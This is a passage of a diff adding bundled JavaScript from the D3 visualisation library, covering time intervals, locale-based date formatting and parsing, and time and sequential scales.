+ }, function(date, step) { + if (date >= date) { + if (step < 0) while (++step <= 0) { + while (offseti(date, -1), !test(date)) {} // eslint-disable-line no-empty + } else while (--step >= 0) { + while (offseti(date, +1), !test(date)) {} // eslint-disable-line no-empty + } + } + }); + }; + + if (count) { + interval.count = function(start, end) { + t0$1.setTime(+start), t1$1.setTime(+end); + floori(t0$1), floori(t1$1); + return Math.floor(count(t0$1, t1$1)); + }; + + interval.every = function(step) { + step = Math.floor(step); + return !isFinite(step) || !(step > 0) ? null + : !(step > 1) ? interval + : interval.filter(field + ? function(d) { return field(d) % step === 0; } + : function(d) { return interval.count(0, d) % step === 0; }); + }; + } + + return interval; +} + +var millisecond = newInterval(function() { + // noop +}, function(date, step) { + date.setTime(+date + step); +}, function(start, end) { + return end - start; +}); + +// An optimized implementation for this simple case. +millisecond.every = function(k) { + k = Math.floor(k); + if (!isFinite(k) || !(k > 0)) return null; + if (!(k > 1)) return millisecond; + return newInterval(function(date) { + date.setTime(Math.floor(date / k) * k); + }, function(date, step) { + date.setTime(+date + step * k); + }, function(start, end) { + return (end - start) / k; + }); +}; +var milliseconds = millisecond.range; + +var durationSecond = 1e3; +var durationMinute = 6e4; +var durationHour = 36e5; +var durationDay = 864e5; +var durationWeek = 6048e5; + +var second = newInterval(function(date) { + date.setTime(date - date.getMilliseconds()); +}, function(date, step) { + date.setTime(+date + step * durationSecond); +}, function(start, end) { + return (end - start) / durationSecond; +}, function(date) { + return date.getUTCSeconds(); +}); +var seconds = second.range; + +var minute = newInterval(function(date) { + date.setTime(date - date.getMilliseconds() - date.getSeconds() * durationSecond); +}, function(date, step) { + date.setTime(+date + step * durationMinute); +}, function(start, end) { + return (end - start) / durationMinute; +}, function(date) { + return date.getMinutes(); +}); +var minutes = minute.range; + +var hour = newInterval(function(date) { + date.setTime(date - date.getMilliseconds() - date.getSeconds() * durationSecond - date.getMinutes() * durationMinute); +}, function(date, step) { + date.setTime(+date + step * durationHour); +}, function(start, end) { + return (end - start) / durationHour; +}, function(date) { + return date.getHours(); +}); +var hours = hour.range; + +var day = newInterval(function(date) { + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setDate(date.getDate() + step); +}, function(start, end) { + return (end - start - (end.getTimezoneOffset() - start.getTimezoneOffset()) * durationMinute) / durationDay; +}, function(date) { + return date.getDate() - 1; +}); +var days = day.range; + +function weekday(i) { + return newInterval(function(date) { + date.setDate(date.getDate() - (date.getDay() + 7 - i) % 7); + date.setHours(0, 0, 0, 0); + }, function(date, step) { + date.setDate(date.getDate() + step * 7); + }, function(start, end) { + return (end - start - (end.getTimezoneOffset() - start.getTimezoneOffset()) * durationMinute) / durationWeek; + }); +} + +var sunday = weekday(0); +var monday = weekday(1); +var tuesday = weekday(2); +var wednesday = weekday(3); +var thursday = weekday(4); +var friday = weekday(5); +var saturday = weekday(6); + +var sundays = sunday.range; +var mondays = monday.range; +var tuesdays = tuesday.range; +var wednesdays = wednesday.range; +var thursdays = thursday.range; +var fridays = friday.range; +var saturdays = saturday.range; + +var month = newInterval(function(date) { + date.setDate(1); + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setMonth(date.getMonth() + step); +}, function(start, end) { + return end.getMonth() - start.getMonth() + (end.getFullYear() - start.getFullYear()) * 12; +}, function(date) { + return date.getMonth(); +}); +var months = month.range; + +var year = newInterval(function(date) { + date.setMonth(0, 1); + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setFullYear(date.getFullYear() + step); +}, function(start, end) { + return end.getFullYear() - start.getFullYear(); +}, function(date) { + return date.getFullYear(); +}); + +// An optimized implementation for this simple case. +year.every = function(k) { + return !isFinite(k = Math.floor(k)) || !(k > 0) ? null : newInterval(function(date) { + date.setFullYear(Math.floor(date.getFullYear() / k) * k); + date.setMonth(0, 1); + date.setHours(0, 0, 0, 0); + }, function(date, step) { + date.setFullYear(date.getFullYear() + step * k); + }); +}; +var years = year.range; + +var utcMinute = newInterval(function(date) { + date.setUTCSeconds(0, 0); +}, function(date, step) { + date.setTime(+date + step * durationMinute); +}, function(start, end) { + return (end - start) / durationMinute; +}, function(date) { + return date.getUTCMinutes(); +}); +var utcMinutes = utcMinute.range; + +var utcHour = newInterval(function(date) { + date.setUTCMinutes(0, 0, 0); +}, function(date, step) { + date.setTime(+date + step * durationHour); +}, function(start, end) { + return (end - start) / durationHour; +}, function(date) { + return date.getUTCHours(); +}); +var utcHours = utcHour.range; + +var utcDay = newInterval(function(date) { + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCDate(date.getUTCDate() + step); +}, function(start, end) { + return (end - start) / durationDay; +}, function(date) { + return date.getUTCDate() - 1; +}); +var utcDays = utcDay.range; + +function utcWeekday(i) { + return newInterval(function(date) { + date.setUTCDate(date.getUTCDate() - (date.getUTCDay() + 7 - i) % 7); + date.setUTCHours(0, 0, 0, 0); + }, function(date, step) { + date.setUTCDate(date.getUTCDate() + step * 7); + }, function(start, end) { + return (end - start) / durationWeek; + }); +} + +var utcSunday = utcWeekday(0); +var utcMonday = utcWeekday(1); +var utcTuesday = utcWeekday(2); +var utcWednesday = utcWeekday(3); +var utcThursday = utcWeekday(4); +var utcFriday = utcWeekday(5); +var utcSaturday = utcWeekday(6); + +var utcSundays = utcSunday.range; +var utcMondays = utcMonday.range; +var utcTuesdays = utcTuesday.range; +var utcWednesdays = utcWednesday.range; +var utcThursdays = utcThursday.range; +var utcFridays = utcFriday.range; +var utcSaturdays = utcSaturday.range; + +var utcMonth = newInterval(function(date) { + date.setUTCDate(1); + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCMonth(date.getUTCMonth() + step); +}, function(start, end) { + return end.getUTCMonth() - start.getUTCMonth() + (end.getUTCFullYear() - start.getUTCFullYear()) * 12; +}, function(date) { + return date.getUTCMonth(); +}); +var utcMonths = utcMonth.range; + +var utcYear = newInterval(function(date) { + date.setUTCMonth(0, 1); + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCFullYear(date.getUTCFullYear() + step); +}, function(start, end) { + return end.getUTCFullYear() - start.getUTCFullYear(); +}, function(date) { + return date.getUTCFullYear(); +}); + +// An optimized implementation for this simple case. +utcYear.every = function(k) { + return !isFinite(k = Math.floor(k)) || !(k > 0) ? null : newInterval(function(date) { + date.setUTCFullYear(Math.floor(date.getUTCFullYear() / k) * k); + date.setUTCMonth(0, 1); + date.setUTCHours(0, 0, 0, 0); + }, function(date, step) { + date.setUTCFullYear(date.getUTCFullYear() + step * k); + }); +}; +var utcYears = utcYear.range; + +function localDate(d) { + if (0 <= d.y && d.y < 100) { + var date = new Date(-1, d.m, d.d, d.H, d.M, d.S, d.L); + date.setFullYear(d.y); + return date; + } + return new Date(d.y, d.m, d.d, d.H, d.M, d.S, d.L); +} + +function utcDate(d) { + if (0 <= d.y && d.y < 100) { + var date = new Date(Date.UTC(-1, d.m, d.d, d.H, d.M, d.S, d.L)); + date.setUTCFullYear(d.y); + return date; + } + return new Date(Date.UTC(d.y, d.m, d.d, d.H, d.M, d.S, d.L)); +} + +function newDate(y, m, d) { + return {y: y, m: m, d: d, H: 0, M: 0, S: 0, L: 0}; +} + +function formatLocale$1(locale) { + var locale_dateTime = locale.dateTime, + locale_date = locale.date, + locale_time = locale.time, + locale_periods = locale.periods, + locale_weekdays = locale.days, + locale_shortWeekdays = locale.shortDays, + locale_months = locale.months, + locale_shortMonths = locale.shortMonths; + + var periodRe = formatRe(locale_periods), + periodLookup = formatLookup(locale_periods), + weekdayRe = formatRe(locale_weekdays), + weekdayLookup = formatLookup(locale_weekdays), + shortWeekdayRe = formatRe(locale_shortWeekdays), + shortWeekdayLookup = formatLookup(locale_shortWeekdays), + monthRe = formatRe(locale_months), + monthLookup = formatLookup(locale_months), + shortMonthRe = formatRe(locale_shortMonths), + shortMonthLookup = formatLookup(locale_shortMonths); + + var formats = { + "a": formatShortWeekday, + "A": formatWeekday, + "b": formatShortMonth, + "B": formatMonth, + "c": null, + "d": formatDayOfMonth, + "e": formatDayOfMonth, + "f": formatMicroseconds, + "H": formatHour24, + "I": formatHour12, + "j": formatDayOfYear, + "L": formatMilliseconds, + "m": formatMonthNumber, + "M": formatMinutes, + "p": formatPeriod, + "q": formatQuarter, + "Q": formatUnixTimestamp, + "s": formatUnixTimestampSeconds, + "S": formatSeconds, + "u": formatWeekdayNumberMonday, + "U": formatWeekNumberSunday, + "V": formatWeekNumberISO, + "w": formatWeekdayNumberSunday, + "W": formatWeekNumberMonday, + "x": null, + "X": null, + "y": formatYear$1, + "Y": formatFullYear, + "Z": formatZone, + "%": formatLiteralPercent + }; + + var utcFormats = { + "a": formatUTCShortWeekday, + "A": formatUTCWeekday, + "b": formatUTCShortMonth, + "B": formatUTCMonth, + "c": null, + "d": formatUTCDayOfMonth, + "e": formatUTCDayOfMonth, + "f": formatUTCMicroseconds, + "H": formatUTCHour24, + "I": formatUTCHour12, + "j": formatUTCDayOfYear, + "L": formatUTCMilliseconds, + "m": formatUTCMonthNumber, + "M": formatUTCMinutes, + "p": formatUTCPeriod, + "q": formatUTCQuarter, + "Q": formatUnixTimestamp, + "s": formatUnixTimestampSeconds, + "S": formatUTCSeconds, + "u": formatUTCWeekdayNumberMonday, + "U": formatUTCWeekNumberSunday, + "V": formatUTCWeekNumberISO, + "w": formatUTCWeekdayNumberSunday, + "W": formatUTCWeekNumberMonday, + "x": null, + "X": null, + "y": formatUTCYear, + "Y": formatUTCFullYear, + "Z": formatUTCZone, + "%": formatLiteralPercent + }; + + var parses = { + "a": parseShortWeekday, + "A": parseWeekday, + "b": parseShortMonth, + "B": parseMonth, + "c": parseLocaleDateTime, + "d": parseDayOfMonth, + "e": parseDayOfMonth, + "f": parseMicroseconds, + "H": parseHour24, + "I": parseHour24, + "j": parseDayOfYear, + "L": parseMilliseconds, + "m": parseMonthNumber, + "M": parseMinutes, + "p": parsePeriod, + "q": parseQuarter, + "Q": parseUnixTimestamp, + "s": parseUnixTimestampSeconds, + "S": parseSeconds, + "u": parseWeekdayNumberMonday, + "U": parseWeekNumberSunday, + "V": parseWeekNumberISO, + "w": parseWeekdayNumberSunday, + "W": parseWeekNumberMonday, + "x": parseLocaleDate, + "X": parseLocaleTime, + "y": parseYear, + "Y": parseFullYear, + "Z": parseZone, + "%": parseLiteralPercent + }; + + // These recursive directive definitions must be deferred. + formats.x = newFormat(locale_date, formats); + formats.X = newFormat(locale_time, formats); + formats.c = newFormat(locale_dateTime, formats); + utcFormats.x = newFormat(locale_date, utcFormats); + utcFormats.X = newFormat(locale_time, utcFormats); + utcFormats.c = newFormat(locale_dateTime, utcFormats); + + function newFormat(specifier, formats) { + return function(date) { + var string = [], + i = -1, + j = 0, + n = specifier.length, + c, + pad, + format; + + if (!(date instanceof Date)) date = new Date(+date); + + while (++i < n) { + if (specifier.charCodeAt(i) === 37) { + string.push(specifier.slice(j, i)); + if ((pad = pads[c = specifier.charAt(++i)]) != null) c = specifier.charAt(++i); + else pad = c === "e" ? " " : "0"; + if (format = formats[c]) c = format(date, pad); + string.push(c); + j = i + 1; + } + } + + string.push(specifier.slice(j, i)); + return string.join(""); + }; + } + + function newParse(specifier, Z) { + return function(string) { + var d = newDate(1900, undefined, 1), + i = parseSpecifier(d, specifier, string += "", 0), + week, day$1; + if (i != string.length) return null; + + // If a UNIX timestamp is specified, return it. + if ("Q" in d) return new Date(d.Q); + if ("s" in d) return new Date(d.s * 1000 + ("L" in d ? d.L : 0)); + + // If this is utcParse, never use the local timezone. + if (Z && !("Z" in d)) d.Z = 0; + + // The am-pm flag is 0 for AM, and 1 for PM. + if ("p" in d) d.H = d.H % 12 + d.p * 12; + + // If the month was not specified, inherit from the quarter. + if (d.m === undefined) d.m = "q" in d ? d.q : 0; + + // Convert day-of-week and week-of-year to day-of-year. + if ("V" in d) { + if (d.V < 1 || d.V > 53) return null; + if (!("w" in d)) d.w = 1; + if ("Z" in d) { + week = utcDate(newDate(d.y, 0, 1)), day$1 = week.getUTCDay(); + week = day$1 > 4 || day$1 === 0 ? utcMonday.ceil(week) : utcMonday(week); + week = utcDay.offset(week, (d.V - 1) * 7); + d.y = week.getUTCFullYear(); + d.m = week.getUTCMonth(); + d.d = week.getUTCDate() + (d.w + 6) % 7; + } else { + week = localDate(newDate(d.y, 0, 1)), day$1 = week.getDay(); + week = day$1 > 4 || day$1 === 0 ? monday.ceil(week) : monday(week); + week = day.offset(week, (d.V - 1) * 7); + d.y = week.getFullYear(); + d.m = week.getMonth(); + d.d = week.getDate() + (d.w + 6) % 7; + } + } else if ("W" in d || "U" in d) { + if (!("w" in d)) d.w = "u" in d ? d.u % 7 : "W" in d ? 1 : 0; + day$1 = "Z" in d ? utcDate(newDate(d.y, 0, 1)).getUTCDay() : localDate(newDate(d.y, 0, 1)).getDay(); + d.m = 0; + d.d = "W" in d ? (d.w + 6) % 7 + d.W * 7 - (day$1 + 5) % 7 : d.w + d.U * 7 - (day$1 + 6) % 7; + } + + // If a time zone is specified, all fields are interpreted as UTC and then + // offset according to the specified time zone. + if ("Z" in d) { + d.H += d.Z / 100 | 0; + d.M += d.Z % 100; + return utcDate(d); + } + + // Otherwise, all fields are in local time. + return localDate(d); + }; + } + + function parseSpecifier(d, specifier, string, j) { + var i = 0, + n = specifier.length, + m = string.length, + c, + parse; + + while (i < n) { + if (j >= m) return -1; + c = specifier.charCodeAt(i++); + if (c === 37) { + c = specifier.charAt(i++); + parse = parses[c in pads ? specifier.charAt(i++) : c]; + if (!parse || ((j = parse(d, string, j)) < 0)) return -1; + } else if (c != string.charCodeAt(j++)) { + return -1; + } + } + + return j; + } + + function parsePeriod(d, string, i) { + var n = periodRe.exec(string.slice(i)); + return n ? (d.p = periodLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseShortWeekday(d, string, i) { + var n = shortWeekdayRe.exec(string.slice(i)); + return n ? (d.w = shortWeekdayLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseWeekday(d, string, i) { + var n = weekdayRe.exec(string.slice(i)); + return n ? (d.w = weekdayLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseShortMonth(d, string, i) { + var n = shortMonthRe.exec(string.slice(i)); + return n ? (d.m = shortMonthLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseMonth(d, string, i) { + var n = monthRe.exec(string.slice(i)); + return n ? (d.m = monthLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseLocaleDateTime(d, string, i) { + return parseSpecifier(d, locale_dateTime, string, i); + } + + function parseLocaleDate(d, string, i) { + return parseSpecifier(d, locale_date, string, i); + } + + function parseLocaleTime(d, string, i) { + return parseSpecifier(d, locale_time, string, i); + } + + function formatShortWeekday(d) { + return locale_shortWeekdays[d.getDay()]; + } + + function formatWeekday(d) { + return locale_weekdays[d.getDay()]; + } + + function formatShortMonth(d) { + return locale_shortMonths[d.getMonth()]; + } + + function formatMonth(d) { + return locale_months[d.getMonth()]; + } + + function formatPeriod(d) { + return locale_periods[+(d.getHours() >= 12)]; + } + + function formatQuarter(d) { + return 1 + ~~(d.getMonth() / 3); + } + + function formatUTCShortWeekday(d) { + return locale_shortWeekdays[d.getUTCDay()]; + } + + function formatUTCWeekday(d) { + return locale_weekdays[d.getUTCDay()]; + } + + function formatUTCShortMonth(d) { + return locale_shortMonths[d.getUTCMonth()]; + } + + function formatUTCMonth(d) { + return locale_months[d.getUTCMonth()]; + } + + function formatUTCPeriod(d) { + return locale_periods[+(d.getUTCHours() >= 12)]; + } + + function formatUTCQuarter(d) { + return 1 + ~~(d.getUTCMonth() / 3); + } + + return { + format: function(specifier) { + var f = newFormat(specifier += "", formats); + f.toString = function() { return specifier; }; + return f; + }, + parse: function(specifier) { + var p = newParse(specifier += "", false); + p.toString = function() { return specifier; }; + return p; + }, + utcFormat: function(specifier) { + var f = newFormat(specifier += "", utcFormats); + f.toString = function() { return specifier; }; + return f; + }, + utcParse: function(specifier) { + var p = newParse(specifier += "", true); + p.toString = function() { return specifier; }; + return p; + } + }; +} + +var pads = {"-": "", "_": " ", "0": "0"}, + numberRe = /^\s*\d+/, // note: ignores next directive + percentRe = /^%/, + requoteRe = /[\\^$*+?|[\]().{}]/g; + +function pad$1(value, fill, width) { + var sign = value < 0 ? "-" : "", + string = (sign ? -value : value) + "", + length = string.length; + return sign + (length < width ? new Array(width - length + 1).join(fill) + string : string); +} + +function requote(s) { + return s.replace(requoteRe, "\\$&"); +} + +function formatRe(names) { + return new RegExp("^(?:" + names.map(requote).join("|") + ")", "i"); +} + +function formatLookup(names) { + var map = {}, i = -1, n = names.length; + while (++i < n) map[names[i].toLowerCase()] = i; + return map; +} + +function parseWeekdayNumberSunday(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 1)); + return n ? (d.w = +n[0], i + n[0].length) : -1; +} + +function parseWeekdayNumberMonday(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 1)); + return n ? (d.u = +n[0], i + n[0].length) : -1; +} + +function parseWeekNumberSunday(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.U = +n[0], i + n[0].length) : -1; +} + +function parseWeekNumberISO(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.V = +n[0], i + n[0].length) : -1; +} + +function parseWeekNumberMonday(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.W = +n[0], i + n[0].length) : -1; +} + +function parseFullYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 4)); + return n ? (d.y = +n[0], i + n[0].length) : -1; +} + +function parseYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.y = +n[0] + (+n[0] > 68 ? 1900 : 2000), i + n[0].length) : -1; +} + +function parseZone(d, string, i) { + var n = /^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(string.slice(i, i + 6)); + return n ? (d.Z = n[1] ? 0 : -(n[2] + (n[3] || "00")), i + n[0].length) : -1; +} + +function parseQuarter(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 1)); + return n ? (d.q = n[0] * 3 - 3, i + n[0].length) : -1; +} + +function parseMonthNumber(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.m = n[0] - 1, i + n[0].length) : -1; +} + +function parseDayOfMonth(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.d = +n[0], i + n[0].length) : -1; +} + +function parseDayOfYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 3)); + return n ? (d.m = 0, d.d = +n[0], i + n[0].length) : -1; +} + +function parseHour24(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.H = +n[0], i + n[0].length) : -1; +} + +function parseMinutes(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.M = +n[0], i + n[0].length) : -1; +} + +function parseSeconds(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.S = +n[0], i + n[0].length) : -1; +} + +function parseMilliseconds(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 3)); + return n ? (d.L = +n[0], i + n[0].length) : -1; +} + +function parseMicroseconds(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 6)); + return n ? (d.L = Math.floor(n[0] / 1000), i + n[0].length) : -1; +} + +function parseLiteralPercent(d, string, i) { + var n = percentRe.exec(string.slice(i, i + 1)); + return n ? i + n[0].length : -1; +} + +function parseUnixTimestamp(d, string, i) { + var n = numberRe.exec(string.slice(i)); + return n ? (d.Q = +n[0], i + n[0].length) : -1; +} + +function parseUnixTimestampSeconds(d, string, i) { + var n = numberRe.exec(string.slice(i)); + return n ? (d.s = +n[0], i + n[0].length) : -1; +} + +function formatDayOfMonth(d, p) { + return pad$1(d.getDate(), p, 2); +} + +function formatHour24(d, p) { + return pad$1(d.getHours(), p, 2); +} + +function formatHour12(d, p) { + return pad$1(d.getHours() % 12 || 12, p, 2); +} + +function formatDayOfYear(d, p) { + return pad$1(1 + day.count(year(d), d), p, 3); +} + +function formatMilliseconds(d, p) { + return pad$1(d.getMilliseconds(), p, 3); +} + +function formatMicroseconds(d, p) { + return formatMilliseconds(d, p) + "000"; +} + +function formatMonthNumber(d, p) { + return pad$1(d.getMonth() + 1, p, 2); +} + +function formatMinutes(d, p) { + return pad$1(d.getMinutes(), p, 2); +} + +function formatSeconds(d, p) { + return pad$1(d.getSeconds(), p, 2); +} + +function formatWeekdayNumberMonday(d) { + var day = d.getDay(); + return day === 0 ? 7 : day; +} + +function formatWeekNumberSunday(d, p) { + return pad$1(sunday.count(year(d) - 1, d), p, 2); +} + +function formatWeekNumberISO(d, p) { + var day = d.getDay(); + d = (day >= 4 || day === 0) ? thursday(d) : thursday.ceil(d); + return pad$1(thursday.count(year(d), d) + (year(d).getDay() === 4), p, 2); +} + +function formatWeekdayNumberSunday(d) { + return d.getDay(); +} + +function formatWeekNumberMonday(d, p) { + return pad$1(monday.count(year(d) - 1, d), p, 2); +} + +function formatYear$1(d, p) { + return pad$1(d.getFullYear() % 100, p, 2); +} + +function formatFullYear(d, p) { + return pad$1(d.getFullYear() % 10000, p, 4); +} + +function formatZone(d) { + var z = d.getTimezoneOffset(); + return (z > 0 ? "-" : (z *= -1, "+")) + + pad$1(z / 60 | 0, "0", 2) + + pad$1(z % 60, "0", 2); +} + +function formatUTCDayOfMonth(d, p) { + return pad$1(d.getUTCDate(), p, 2); +} + +function formatUTCHour24(d, p) { + return pad$1(d.getUTCHours(), p, 2); +} + +function formatUTCHour12(d, p) { + return pad$1(d.getUTCHours() % 12 || 12, p, 2); +} + +function formatUTCDayOfYear(d, p) { + return pad$1(1 + utcDay.count(utcYear(d), d), p, 3); +} + +function formatUTCMilliseconds(d, p) { + return pad$1(d.getUTCMilliseconds(), p, 3); +} + +function formatUTCMicroseconds(d, p) { + return formatUTCMilliseconds(d, p) + "000"; +} + +function formatUTCMonthNumber(d, p) { + return pad$1(d.getUTCMonth() + 1, p, 2); +} + +function formatUTCMinutes(d, p) { + return pad$1(d.getUTCMinutes(), p, 2); +} + +function formatUTCSeconds(d, p) { + return pad$1(d.getUTCSeconds(), p, 2); +} + +function formatUTCWeekdayNumberMonday(d) { + var dow = d.getUTCDay(); + return dow === 0 ? 7 : dow; +} + +function formatUTCWeekNumberSunday(d, p) { + return pad$1(utcSunday.count(utcYear(d) - 1, d), p, 2); +} + +function formatUTCWeekNumberISO(d, p) { + var day = d.getUTCDay(); + d = (day >= 4 || day === 0) ? utcThursday(d) : utcThursday.ceil(d); + return pad$1(utcThursday.count(utcYear(d), d) + (utcYear(d).getUTCDay() === 4), p, 2); +} + +function formatUTCWeekdayNumberSunday(d) { + return d.getUTCDay(); +} + +function formatUTCWeekNumberMonday(d, p) { + return pad$1(utcMonday.count(utcYear(d) - 1, d), p, 2); +} + +function formatUTCYear(d, p) { + return pad$1(d.getUTCFullYear() % 100, p, 2); +} + +function formatUTCFullYear(d, p) { + return pad$1(d.getUTCFullYear() % 10000, p, 4); +} + +function formatUTCZone() { + return "+0000"; +} + +function formatLiteralPercent() { + return "%"; +} + +function formatUnixTimestamp(d) { + return +d; +} + +function formatUnixTimestampSeconds(d) { + return Math.floor(+d / 1000); +} + +var locale$1; + +defaultLocale$1({ + dateTime: "%x, %X", + date: "%-m/%-d/%Y", + time: "%-I:%M:%S %p", + periods: ["AM", "PM"], + days: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], + shortDays: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"], + months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], + shortMonths: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] +}); + +function defaultLocale$1(definition) { + locale$1 = formatLocale$1(definition); + exports.timeFormat = locale$1.format; + exports.timeParse = locale$1.parse; + exports.utcFormat = locale$1.utcFormat; + exports.utcParse = locale$1.utcParse; + return locale$1; +} + +var isoSpecifier = "%Y-%m-%dT%H:%M:%S.%LZ"; + +function formatIsoNative(date) { + return date.toISOString(); +} + +var formatIso = Date.prototype.toISOString + ? formatIsoNative + : exports.utcFormat(isoSpecifier); + +function parseIsoNative(string) { + var date = new Date(string); + return isNaN(date) ? null : date; +} + +var parseIso = +new Date("2000-01-01T00:00:00.000Z") + ? parseIsoNative + : exports.utcParse(isoSpecifier); + +var durationSecond$1 = 1000, + durationMinute$1 = durationSecond$1 * 60, + durationHour$1 = durationMinute$1 * 60, + durationDay$1 = durationHour$1 * 24, + durationWeek$1 = durationDay$1 * 7, + durationMonth = durationDay$1 * 30, + durationYear = durationDay$1 * 365; + +function date$1(t) { + return new Date(t); +} + +function number$3(t) { + return t instanceof Date ? +t : +new Date(+t); +} + +function calendar(year, month, week, day, hour, minute, second, millisecond, format) { + var scale = continuous(identity$6, identity$6), + invert = scale.invert, + domain = scale.domain; + + var formatMillisecond = format(".%L"), + formatSecond = format(":%S"), + formatMinute = format("%I:%M"), + formatHour = format("%I %p"), + formatDay = format("%a %d"), + formatWeek = format("%b %d"), + formatMonth = format("%B"), + formatYear = format("%Y"); + + var tickIntervals = [ + [second, 1, durationSecond$1], + [second, 5, 5 * durationSecond$1], + [second, 15, 15 * durationSecond$1], + [second, 30, 30 * durationSecond$1], + [minute, 1, durationMinute$1], + [minute, 5, 5 * durationMinute$1], + [minute, 15, 15 * durationMinute$1], + [minute, 30, 30 * durationMinute$1], + [ hour, 1, durationHour$1 ], + [ hour, 3, 3 * durationHour$1 ], + [ hour, 6, 6 * durationHour$1 ], + [ hour, 12, 12 * durationHour$1 ], + [ day, 1, durationDay$1 ], + [ day, 2, 2 * durationDay$1 ], + [ week, 1, durationWeek$1 ], + [ month, 1, durationMonth ], + [ month, 3, 3 * durationMonth ], + [ year, 1, durationYear ] + ]; + + function tickFormat(date) { + return (second(date) < date ? formatMillisecond + : minute(date) < date ? formatSecond + : hour(date) < date ? formatMinute + : day(date) < date ? formatHour + : month(date) < date ? (week(date) < date ? formatDay : formatWeek) + : year(date) < date ? formatMonth + : formatYear)(date); + } + + function tickInterval(interval, start, stop, step) { + if (interval == null) interval = 10; + + // If a desired tick count is specified, pick a reasonable tick interval + // based on the extent of the domain and a rough estimate of tick size. + // Otherwise, assume interval is already a time interval and use it. + if (typeof interval === "number") { + var target = Math.abs(stop - start) / interval, + i = bisector(function(i) { return i[2]; }).right(tickIntervals, target); + if (i === tickIntervals.length) { + step = tickStep(start / durationYear, stop / durationYear, interval); + interval = year; + } else if (i) { + i = tickIntervals[target / tickIntervals[i - 1][2] < tickIntervals[i][2] / target ? i - 1 : i]; + step = i[1]; + interval = i[0]; + } else { + step = Math.max(tickStep(start, stop, interval), 1); + interval = millisecond; + } + } + + return step == null ? interval : interval.every(step); + } + + scale.invert = function(y) { + return new Date(invert(y)); + }; + + scale.domain = function(_) { + return arguments.length ? domain(map$3.call(_, number$3)) : domain().map(date$1); + }; + + scale.ticks = function(interval, step) { + var d = domain(), + t0 = d[0], + t1 = d[d.length - 1], + r = t1 < t0, + t; + if (r) t = t0, t0 = t1, t1 = t; + t = tickInterval(interval, t0, t1, step); + t = t ? t.range(t0, t1 + 1) : []; // inclusive stop + return r ? t.reverse() : t; + }; + + scale.tickFormat = function(count, specifier) { + return specifier == null ? tickFormat : format(specifier); + }; + + scale.nice = function(interval, step) { + var d = domain(); + return (interval = tickInterval(interval, d[0], d[d.length - 1], step)) + ? domain(nice(d, interval)) + : scale; + }; + + scale.copy = function() { + return copy(scale, calendar(year, month, week, day, hour, minute, second, millisecond, format)); + }; + + return scale; +} + +function time() { + return initRange.apply(calendar(year, month, sunday, day, hour, minute, second, millisecond, exports.timeFormat).domain([new Date(2000, 0, 1), new Date(2000, 0, 2)]), arguments); +} + +function utcTime() { + return initRange.apply(calendar(utcYear, utcMonth, utcSunday, utcDay, utcHour, utcMinute, second, millisecond, exports.utcFormat).domain([Date.UTC(2000, 0, 1), Date.UTC(2000, 0, 2)]), arguments); +} + +function transformer$2() { + var x0 = 0, + x1 = 1, + t0, + t1, + k10, + transform, + interpolator = identity$6, + clamp = false, + unknown; + + function scale(x) { + return isNaN(x = +x) ? unknown : interpolator(k10 === 0 ? 0.5 : (x = (transform(x) - t0) * k10, clamp ? Math.max(0, Math.min(1, x)) : x)); + } + + scale.domain = function(_) { + return arguments.length ? (t0 = transform(x0 = +_[0]), t1 = transform(x1 = +_[1]), k10 = t0 === t1 ? 0 : 1 / (t1 - t0), scale) : [x0, x1]; + }; + + scale.clamp = function(_) { + return arguments.length ? (clamp = !!_, scale) : clamp; + }; + + scale.interpolator = function(_) { + return arguments.length ? (interpolator = _, scale) : interpolator; + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + return function(t) { + transform = t, t0 = t(x0), t1 = t(x1), k10 = t0 === t1 ? 0 : 1 / (t1 - t0); + return scale; + }; +} + +function copy$1(source, target) { + return target + .domain(source.domain()) + .interpolator(source.interpolator()) + .clamp(source.clamp()) + .unknown(source.unknown()); +} + +function sequential() { + var scale = linearish(transformer$2()(identity$6)); + + scale.copy = function() { + return copy$1(scale, sequential()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function sequentialLog() { + var scale = loggish(transformer$2()).domain([1, 10]); + + scale.copy = function() { + return copy$1(scale, sequentialLog()).base(scale.base()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function sequentialSymlog() { + var scale = symlogish(transformer$2()); + + scale.copy = function() { + return copy$1(scale, sequentialSymlog()).constant(scale.constant()); + }; + + return initInterpolator.apply(scale, arguments); +} + +function sequentialPow() { + var scale = powish(transformer$2()); + + scale.copy = function() 